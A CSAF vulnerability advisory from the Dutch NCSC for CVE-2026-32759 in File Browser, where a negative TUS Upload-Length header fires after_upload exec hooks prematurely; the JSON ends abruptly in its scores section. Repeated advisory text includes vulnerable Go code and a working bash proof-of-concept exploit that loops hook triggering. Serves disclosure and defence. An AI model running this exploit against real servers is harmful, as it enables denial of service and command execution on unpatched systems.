{
    "document": {
        "category": "csaf_base",
        "csaf_version": "2.0",
        "distribution": {
            "tlp": {
                "label": "WHITE"
            }
        },
        "lang": "en",
        "notes": [
            {
                "category": "legal_disclaimer",
                "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings."
            }
        ],
        "publisher": {
            "category": "coordinator",
            "contact_details": "cert@ncsc.nl",
            "name": "National Cyber Security Centre",
            "namespace": "https://www.ncsc.nl/"
        },
        "title": "CVE-2026-32759",
        "tracking": {
            "current_release_date": "2026-03-27T00:15:10.286966Z",
            "generator": {
                "date": "2026-02-17T15:00:00Z",
                "engine": {
                    "name": "V.E.L.M.A",
                    "version": "1.7"
                }
            },
            "id": "CVE-2026-32759",
            "initial_release_date": "2026-03-16T21:39:55.987206Z",
            "revision_history": [
                {
                    "date": "2026-03-16T21:39:55.987206Z",
                    "number": "1",
                    "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-16T21:40:01.987608Z",
                    "number": "2",
                    "summary": "NCSC Score created."
                },
                {
                    "date": "2026-03-19T15:31:10.431989Z",
                    "number": "3",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:21:46.217195Z",
                    "number": "4",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:21:48.802597Z",
                    "number": "5",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:22:31.846560Z",
                    "number": "6",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (2).| CWES updated (1)."
                },
                {
                    "date": "2026-03-20T18:22:38.771858Z",
                    "number": "7",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-20T18:37:05.276425Z",
                    "number": "8",
                    "summary": "Unknown change."
                },
                {
                    "date": "2026-03-20T21:42:00.896930Z",
                    "number": "9",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-20T21:59:42.871807Z",
                    "number": "10",
                    "summary": "Source connected.| CVE status created. (valid)| EPSS created."
                },
                {
                    "date": "2026-03-20T21:59:47.639648Z",
                    "number": "11",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-21T13:46:51.116191Z",
                    "number": "12",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-21T15:23:57.724129Z",
                    "number": "13",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-21T15:24:01.603206Z",
                    "number": "14",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-22T00:52:15.565269Z",
                    "number": "15",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-22T11:25:16.370877Z",
                    "number": "16",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-23T00:54:25.128732Z",
                    "number": "17",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-23T05:16:22.637260Z",
                    "number": "18",
                    "summary": "References removed (1)."
                },
                {
                    "date": "2026-03-24T06:58:12.645686Z",
                    "number": "19",
                    "summary": "CVSS created.| Products connected (1).| Product Identifiers created (1).| Exploits created (1)."
                },
                {
                    "date": "2026-03-24T06:58:19.315830Z",
                    "number": "20",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T20:56:48.396611Z",
                    "number": "21",
                    "summary": "References created (1)."
                },
                {
                    "date": "2026-03-24T20:57:09.935584Z",
                    "number": "22",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-24T21:38:47.958300Z",
                    "number": "23",
                    "summary": "EPSS updated."
                },
                {
                    "date": "2026-03-27T00:13:02.009899Z",
                    "number": "24",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (3).| CWES updated (1)."
                },
                {
                    "date": "2026-03-27T00:13:04.122541Z",
                    "number": "25",
                    "summary": "NCSC Score updated."
                },
                {
                    "date": "2026-03-27T00:14:11.206913Z",
                    "number": "26",
                    "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (3)."
                }
            ],
            "status": "interim",
            "version": "26"
        }
    },
    "product_tree": {
        "branches": [
            {
                "branches": [
                    {
                        "branches": [
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/<=2.61.2",
                                "product": {
                                    "name": "vers:unknown/<=2.61.2",
                                    "product_id": "CSAFPID-5874106",
                                    "product_identification_helper": {
                                        "cpe": "cpe:2.3:a:filebrowser:filebrowser:*:*:*:*:*:*:*:*"
                                    }
                                }
                            },
                            {
                                "category": "product_version_range",
                                "name": "vers:unknown/>=0|<=2.61.1",
                                "product": {
                                    "name": "vers:unknown/>=0|<=2.61.1",
                                    "product_id": "CSAFPID-5920137"
                                }
                            }
                        ],
                        "category": "product_name",
                        "name": "File Browser"
                    }
                ],
                "category": "vendor",
                "name": "File Browser"
            }
        ]
    },
    "vulnerabilities": [
        {
            "cve": "CVE-2026-32759",
            "cwe": {
                "id": "CWE-190",
                "name": "Integer Overflow or Wraparound"
            },
            "notes": [
                {
                    "category": "description",
                    "text": "## Summary\nThe TUS resumable upload handler parses the `Upload-Length` header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. `-1`), the first PATCH request immediately satisfies the completion condition (`newOffset >= uploadLength` → `0 >= -1`), causing the server to fire `after_upload` exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured `after_upload` hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.\n\n## Details\n\n**Affected file:** `http/tus_handlers.go`\n\n**Vulnerable code - POST (register upload):**\n```go\nfunc getUploadLength(r *http.Request) (int64, error) {\n    uploadOffset, err := strconv.ParseInt(r.Header.Get(\"Upload-Length\"), 10, 64)\n    // ← int64: accepts -1, -9223372036854775808, etc.\n    if err != nil {\n        return 0, fmt.Errorf(\"invalid upload length: %w\", err)\n    }\n    return uploadOffset, nil\n}\n\n// In tusPostHandler:\nuploadLength, err := getUploadLength(r)   // uploadLength = -1 (attacker-supplied)\ncache.Register(file.RealPath(), uploadLength)  // stores -1 as expected size\n```\n\n**Vulnerable code - PATCH (write chunk):**\n```go\n// In tusPatchHandler:\nnewOffset := uploadOffset + bytesWritten  // 0 + 0 = 0 (empty body)\nif newOffset >= uploadLength {            // 0 >= -1 → TRUE immediately!\n    cache.Complete(file.RealPath())\n    _ = d.RunHook(func() error { return nil }, \"upload\", r.URL.Path, \"\", d.user)\n    // ← after_upload hook fires with empty or partial file\n}\n```\n\n**The completion check uses signed comparison.** Any negative `uploadLength` is always less than `newOffset` (which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.\n\n**Consequence:** An attacker with upload permission can:\n1. Initiate a TUS upload for any filename with `Upload-Length: -1`\n2. Send a PATCH with an empty body (`Upload-Offset: 0`)\n3. `after_upload` hook fires immediately with a 0-byte (or partial) file\n4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook\n\nIf exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-tus \\\n  -p 8080:80 \\\n  -v /tmp/fb-tus:/srv \\\n  -e FB_EXECER=true \\\n  filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\n# Configure a visible after_upload hook\ncurl -s -X PUT http://localhost:8080/api/settings \\\n  -H \"X-Auth: $ADMIN_TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"commands\": {\n      \"after_upload\": [\"bash -c \\\"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\\\"\"]\n    }\n  }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n# poc_tus_negative_length.sh\n\nTARGET=\"http://localhost:8080\"\n\n# Login as any user with upload permission\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Token: ${TOKEN:0:40}...\"\n\nFILENAME=\"/trigger_test_$(date +%s).txt\"\n\necho \"[*] Step 1: POST TUS upload with Upload-Length: -1\"\ncurl -s -X POST \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Length: -1\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2>&1 | grep -E \"HTTP|Location\"\n\necho \"\"\necho \"[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)\"\ncurl -s -X PATCH \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2>&1 | grep -E \"HTTP|Upload\"\n\necho \"\"\necho \"[*] Checking hook log on server (/tmp/hook_log.txt)...\"\necho \"[*] If hook fired, you will see entries like:\"\necho \"    HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>\"\n\necho \"\"\necho \"[*] Repeating 5 times to demonstrate unlimited hook triggering...\"\nfor i in $(seq 1 5); do\n  FNAME=\"/spam_hook_$i.txt\"\n  curl -s -X POST \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Length: -1\" \\\n    -H \"Content-Length: 0\" > /dev/null\n  \n  curl -s -X PATCH \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Offset: 0\" \\\n    -H \"Content-Type: application/offset+octet-stream\" \\\n    -H \"Content-Length: 0\" > /dev/null\n  \n  echo \"  Hook trigger $i sent\"\ndone\necho \"[*] Done - 5 hooks fired with 0 bytes uploaded.\"\n```\n\n## Impact\n\n**Exec Hook Abuse (when `enableExec = true`):** An attacker can trigger any `after_upload` exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:\n\n- **Denial of Service:** Triggering expensive processing hooks (virus scanning, transcoding,\n  ML inference) with zero cost on the attacker's side.\n- **Command Injection amplification:** Combined with the hook injection vulnerability\n  (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.\n- **Business logic abuse:** Triggering upload-driven workflows (S3 ingestion, database inserts,\n  notifications) with empty payloads or arbitrary filenames.\n\n**Hook-free impact:** Even without exec hooks, a negative `Upload-Length` creates an inconsistent cache entry. The file is marked \"complete\" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.\n\n**Who is affected:** All deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution.\n\n## Resolution\n\nThis vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is **disabled by default for all installations** and users are warned if they enable it. This feature is **not to be used in untrusted environments** and we recommend to **not use it**.",
                    "title": "github - https://github.com/advisories/GHSA-ffx7-75gc-jg7c"
                },
                {
                    "category": "description",
                    "text": "## Summary\nThe TUS resumable upload handler parses the `Upload-Length` header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. `-1`), the first PATCH request immediately satisfies the completion condition (`newOffset >= uploadLength` → `0 >= -1`), causing the server to fire `after_upload` exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured `after_upload` hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.\n\n## Details\n\n**Affected file:** `http/tus_handlers.go`\n\n**Vulnerable code - POST (register upload):**\n```go\nfunc getUploadLength(r *http.Request) (int64, error) {\n    uploadOffset, err := strconv.ParseInt(r.Header.Get(\"Upload-Length\"), 10, 64)\n    // ← int64: accepts -1, -9223372036854775808, etc.\n    if err != nil {\n        return 0, fmt.Errorf(\"invalid upload length: %w\", err)\n    }\n    return uploadOffset, nil\n}\n\n// In tusPostHandler:\nuploadLength, err := getUploadLength(r)   // uploadLength = -1 (attacker-supplied)\ncache.Register(file.RealPath(), uploadLength)  // stores -1 as expected size\n```\n\n**Vulnerable code - PATCH (write chunk):**\n```go\n// In tusPatchHandler:\nnewOffset := uploadOffset + bytesWritten  // 0 + 0 = 0 (empty body)\nif newOffset >= uploadLength {            // 0 >= -1 → TRUE immediately!\n    cache.Complete(file.RealPath())\n    _ = d.RunHook(func() error { return nil }, \"upload\", r.URL.Path, \"\", d.user)\n    // ← after_upload hook fires with empty or partial file\n}\n```\n\n**The completion check uses signed comparison.** Any negative `uploadLength` is always less than `newOffset` (which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.\n\n**Consequence:** An attacker with upload permission can:\n1. Initiate a TUS upload for any filename with `Upload-Length: -1`\n2. Send a PATCH with an empty body (`Upload-Offset: 0`)\n3. `after_upload` hook fires immediately with a 0-byte (or partial) file\n4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook\n\nIf exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-tus \\\n  -p 8080:80 \\\n  -v /tmp/fb-tus:/srv \\\n  -e FB_EXECER=true \\\n  filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\n# Configure a visible after_upload hook\ncurl -s -X PUT http://localhost:8080/api/settings \\\n  -H \"X-Auth: $ADMIN_TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"commands\": {\n      \"after_upload\": [\"bash -c \\\"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\\\"\"]\n    }\n  }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n# poc_tus_negative_length.sh\n\nTARGET=\"http://localhost:8080\"\n\n# Login as any user with upload permission\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Token: ${TOKEN:0:40}...\"\n\nFILENAME=\"/trigger_test_$(date +%s).txt\"\n\necho \"[*] Step 1: POST TUS upload with Upload-Length: -1\"\ncurl -s -X POST \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Length: -1\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2>&1 | grep -E \"HTTP|Location\"\n\necho \"\"\necho \"[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)\"\ncurl -s -X PATCH \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2>&1 | grep -E \"HTTP|Upload\"\n\necho \"\"\necho \"[*] Checking hook log on server (/tmp/hook_log.txt)...\"\necho \"[*] If hook fired, you will see entries like:\"\necho \"    HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>\"\n\necho \"\"\necho \"[*] Repeating 5 times to demonstrate unlimited hook triggering...\"\nfor i in $(seq 1 5); do\n  FNAME=\"/spam_hook_$i.txt\"\n  curl -s -X POST \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Length: -1\" \\\n    -H \"Content-Length: 0\" > /dev/null\n  \n  curl -s -X PATCH \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Offset: 0\" \\\n    -H \"Content-Type: application/offset+octet-stream\" \\\n    -H \"Content-Length: 0\" > /dev/null\n  \n  echo \"  Hook trigger $i sent\"\ndone\necho \"[*] Done - 5 hooks fired with 0 bytes uploaded.\"\n```\n\n## Impact\n\n**Exec Hook Abuse (when `enableExec = true`):** An attacker can trigger any `after_upload` exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:\n\n- **Denial of Service:** Triggering expensive processing hooks (virus scanning, transcoding,\n  ML inference) with zero cost on the attacker's side.\n- **Command Injection amplification:** Combined with the hook injection vulnerability\n  (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.\n- **Business logic abuse:** Triggering upload-driven workflows (S3 ingestion, database inserts,\n  notifications) with empty payloads or arbitrary filenames.\n\n**Hook-free impact:** Even without exec hooks, a negative `Upload-Length` creates an inconsistent cache entry. The file is marked \"complete\" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.\n\n**Who is affected:** All deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution.\n\n## Resolution\n\nThis vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is **disabled by default for all installations** and users are warned if they enable it. This feature is **not to be used in untrusted environments** and we recommend to **not use it**.",
                    "title": "github - https://api.github.com/advisories/GHSA-ffx7-75gc-jg7c"
                },
                {
                    "category": "description",
                    "text": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, the TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative, allowing an authenticated user to supply a negative value that instantly satisfies the upload completion condition upon the first PATCH request. This causes the server to fire after_upload exec hooks with empty or partial files, enabling an attacker to repeatedly trigger any configured hook with arbitrary filenames and zero bytes written. The impact ranges from DoS through expensive processing hooks, to command injection amplification when combined with malicious filenames, to abuse of upload-driven workflows like S3 ingestion or database inserts. Even without exec hooks enabled, the negative Upload-Length creates inconsistent cache entries where files are marked complete but contain no data. All deployments using the TUS upload endpoint (/api/tus) are affected, with the enableExec flag escalating the impact from cache inconsistency to remote command execution. At the time of publication, no patch or mitigation was available to address this issue.",
                    "title": "nvd - https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32759"
                },
                {
                    "category": "description",
                    "text": "File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, the TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative, allowing an authenticated user to supply a negative value that instantly satisfies the upload completion condition upon the first PATCH request. This causes the server to fire after_upload exec hooks with empty or partial files, enabling an attacker to repeatedly trigger any configured hook with arbitrary filenames and zero bytes written. The impact ranges from DoS through expensive processing hooks, to command injection amplification when combined with malicious filenames, to abuse of upload-driven workflows like S3 ingestion or database inserts. Even without exec hooks enabled, the negative Upload-Length creates inconsistent cache entries where files are marked complete but contain no data. All deployments using the TUS upload endpoint (/api/tus) are affected, with the enableExec flag escalating the impact from cache inconsistency to remote command execution. At the time of publication, no patch or mitigation was available to address this issue.",
                    "title": "cveprojectv5 - https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32759.json"
                },
                {
                    "category": "description",
                    "text": "## Summary\nThe TUS resumable upload handler parses the `Upload-Length` header as a signed 64-bit integer without validating that the value is non-negative. When a negative value is supplied (e.g. `-1`), the first PATCH request immediately satisfies the completion condition (`newOffset >= uploadLength` → `0 >= -1`), causing the server to fire `after_upload` exec hooks with a partial or empty file. An authenticated user with upload permission can trigger any configured `after_upload` hook an unlimited number of times for any filename they choose, regardless of whether the file was actually uploaded - with zero bytes written.\n\n## Details\n\n**Affected file:** `http/tus_handlers.go`\n\n**Vulnerable code - POST (register upload):**\n```go\nfunc getUploadLength(r *http.Request) (int64, error) {\n    uploadOffset, err := strconv.ParseInt(r.Header.Get(\"Upload-Length\"), 10, 64)\n    // ← int64: accepts -1, -9223372036854775808, etc.\n    if err != nil {\n        return 0, fmt.Errorf(\"invalid upload length: %w\", err)\n    }\n    return uploadOffset, nil\n}\n\n// In tusPostHandler:\nuploadLength, err := getUploadLength(r)   // uploadLength = -1 (attacker-supplied)\ncache.Register(file.RealPath(), uploadLength)  // stores -1 as expected size\n```\n\n**Vulnerable code - PATCH (write chunk):**\n```go\n// In tusPatchHandler:\nnewOffset := uploadOffset + bytesWritten  // 0 + 0 = 0 (empty body)\nif newOffset >= uploadLength {            // 0 >= -1 → TRUE immediately!\n    cache.Complete(file.RealPath())\n    _ = d.RunHook(func() error { return nil }, \"upload\", r.URL.Path, \"\", d.user)\n    // ← after_upload hook fires with empty or partial file\n}\n```\n\n**The completion check uses signed comparison.** Any negative `uploadLength` is always less than `newOffset` (which starts at 0), so the hook fires on the very first PATCH regardless of how many bytes were sent.\n\n**Consequence:** An attacker with upload permission can:\n1. Initiate a TUS upload for any filename with `Upload-Length: -1`\n2. Send a PATCH with an empty body (`Upload-Offset: 0`)\n3. `after_upload` hook fires immediately with a 0-byte (or partial) file\n4. Repeat indefinitely - each POST+PATCH cycle re-fires the hook\n\nIf exec hooks are enabled and perform important operations on uploaded files (virus scanning, image processing, notifications, data pipeline ingestion), they will be triggered with attacker-controlled filenames and empty file contents.\n\n## Demo Server Setup\n\n```bash\ndocker run -d --name fb-tus \\\n  -p 8080:80 \\\n  -v /tmp/fb-tus:/srv \\\n  -e FB_EXECER=true \\\n  filebrowser/filebrowser:v2.31.2\n\nADMIN_TOKEN=$(curl -s -X POST http://localhost:8080/api/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"username\":\"admin\",\"password\":\"admin\"}')\n\n# Configure a visible after_upload hook\ncurl -s -X PUT http://localhost:8080/api/settings \\\n  -H \"X-Auth: $ADMIN_TOKEN\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\n    \"commands\": {\n      \"after_upload\": [\"bash -c \\\"echo HOOK_FIRED: $FILE $(date) >> /tmp/hook_log.txt\\\"\"]\n    }\n  }'\n```\n\n## PoC Exploit\n\n```bash\n#!/bin/bash\n# poc_tus_negative_length.sh\n\nTARGET=\"http://localhost:8080\"\n\n# Login as any user with upload permission\nTOKEN=$(curl -s -X POST \"$TARGET/api/login\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"attacker\",\"password\":\"Attack3r!pass\"}')\n\necho \"[*] Token: ${TOKEN:0:40}...\"\n\nFILENAME=\"/trigger_test_$(date +%s).txt\"\n\necho \"[*] Step 1: POST TUS upload with Upload-Length: -1\"\ncurl -s -X POST \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Length: -1\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2>&1 | grep -E \"HTTP|Location\"\n\necho \"\"\necho \"[*] Step 2: PATCH with empty body (uploadOffset=0 >= uploadLength=-1 → hook fires)\"\ncurl -s -X PATCH \"$TARGET/api/tus$FILENAME\" \\\n  -H \"X-Auth: $TOKEN\" \\\n  -H \"Upload-Offset: 0\" \\\n  -H \"Content-Type: application/offset+octet-stream\" \\\n  -H \"Content-Length: 0\" \\\n  -v 2>&1 | grep -E \"HTTP|Upload\"\n\necho \"\"\necho \"[*] Checking hook log on server (/tmp/hook_log.txt)...\"\necho \"[*] If hook fired, you will see entries like:\"\necho \"    HOOK_FIRED: /srv/trigger_test_XXXX.txt <timestamp>\"\n\necho \"\"\necho \"[*] Repeating 5 times to demonstrate unlimited hook triggering...\"\nfor i in $(seq 1 5); do\n  FNAME=\"/spam_hook_$i.txt\"\n  curl -s -X POST \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Length: -1\" \\\n    -H \"Content-Length: 0\" > /dev/null\n  \n  curl -s -X PATCH \"$TARGET/api/tus$FNAME\" \\\n    -H \"X-Auth: $TOKEN\" \\\n    -H \"Upload-Offset: 0\" \\\n    -H \"Content-Type: application/offset+octet-stream\" \\\n    -H \"Content-Length: 0\" > /dev/null\n  \n  echo \"  Hook trigger $i sent\"\ndone\necho \"[*] Done - 5 hooks fired with 0 bytes uploaded.\"\n```\n\n## Impact\n\n**Exec Hook Abuse (when `enableExec = true`):** An attacker can trigger any `after_upload` exec hook an unlimited number of times with attacker-controlled filenames and empty file contents. Depending on the hook's purpose, this enables:\n\n- **Denial of Service:** Triggering expensive processing hooks (virus scanning, transcoding,\n  ML inference) with zero cost on the attacker's side.\n- **Command Injection amplification:** Combined with the hook injection vulnerability\n  (malicious filename + shell-wrapped hook), each trigger becomes a separate RCE.\n- **Business logic abuse:** Triggering upload-driven workflows (S3 ingestion, database inserts,\n  notifications) with empty payloads or arbitrary filenames.\n\n**Hook-free impact:** Even without exec hooks, a negative `Upload-Length` creates an inconsistent cache entry. The file is marked \"complete\" in the upload cache immediately, but the underlying file may be 0 bytes. Any subsequent read expecting a complete file will receive an empty file.\n\n**Who is affected:** All deployments using the TUS upload endpoint (`/api/tus`). The `enableExec` flag amplifies the impact from cache inconsistency to remote command execution.\n\n## Resolution\n\nThis vulnerability has not been addressed, and has been added to the issue tracking all security vulnerabilities regarding the command execution (https://github.com/filebrowser/filebrowser/issues/5199). Command execution is **disabled by default for all installations** and users are warned if they enable it. This feature is **not to be used in untrusted environments** and we recommend to **not use it**.",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-ffx7-75gc-jg7c.json?alt=media"
                },
                {
                    "category": "description",
                    "text": "File Browser TUS Negative Upload-Length Fires Post-Upload Hooks Prematurely in github.com/filebrowser/filebrowser",
                    "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4713.json?alt=media"
                },
                {
                    "category": "other",
                    "text": "0.00137",
                    "title": "EPSS"
                },
                {
                    "category": "other",
                    "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:L/SA:L",
                    "title": "CVSSV4"
                },
                {
                    "category": "other",
                    "text": "5.3",
                    "title": "CVSSV4 base score"
                },
                {
                    "category": "other",
                    "text": "3.6",
                    "title": "NCSC Score"
                },
                {
                    "category": "other",
                    "text": "There is exploit data available from source Nvd, Is related to (a version of) an uncommon product, The value of the most recent CVSS (V3) score",
                    "title": "NCSC Score top decreasing factors"
                }
            ],
            "product_status": {
                "known_affected": [
                    "CSAFPID-5874106",
                    "CSAFPID-5920137"
                ]
            },
            "references": [
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://github.com/advisories/GHSA-ffx7-75gc-jg7c"
                },
                {
                    "category": "external",
                    "summary": "Source raw - github",
                    "url": "https://api.github.com/advisories/GHSA-ffx7-75gc-jg7c"
                },
                {
                    "category": "external",
                    "summary": "Source - github",
                    "url": "https://api.github.com/advisories/GHSA-ffx7-75gc-jg7c"
                },
                {
                    "category": "external",
                    "summary": "Source - nvd",
                    "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2026-32759"
                },
                {
                    "category": "external",
                    "summary": "Source - cveprojectv5",
                    "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2026/32xxx/CVE-2026-32759.json"
                },
                {
                    "category": "external",
                    "summary": "Source - first",
                    "url": "https://api.first.org/data/v1/epss?limit=10000&offset=0"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-ffx7-75gc-jg7c.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Source - osv",
                    "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4713.json?alt=media"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-ffx7-75gc-jg7c"
                },
                {
                    "category": "external",
                    "summary": "Reference - cveprojectv5; github; nvd; osv",
                    "url": "https://github.com/filebrowser/filebrowser/issues/5199"
                },
                {
                    "category": "external",
                    "summary": "Reference - github",
                    "url": "https://github.com/advisories/GHSA-ffx7-75gc-jg7c"
                },
                {
                    "category": "external",
                    "summary": "Reference - github; osv",
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32759"
                }
            ],
            "scores": [
                {
                    "cvss_v3": {
                        "version": "3.1",
                        "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
                        "baseScore": 8.1,
                        "baseSeverity": "HIGH"
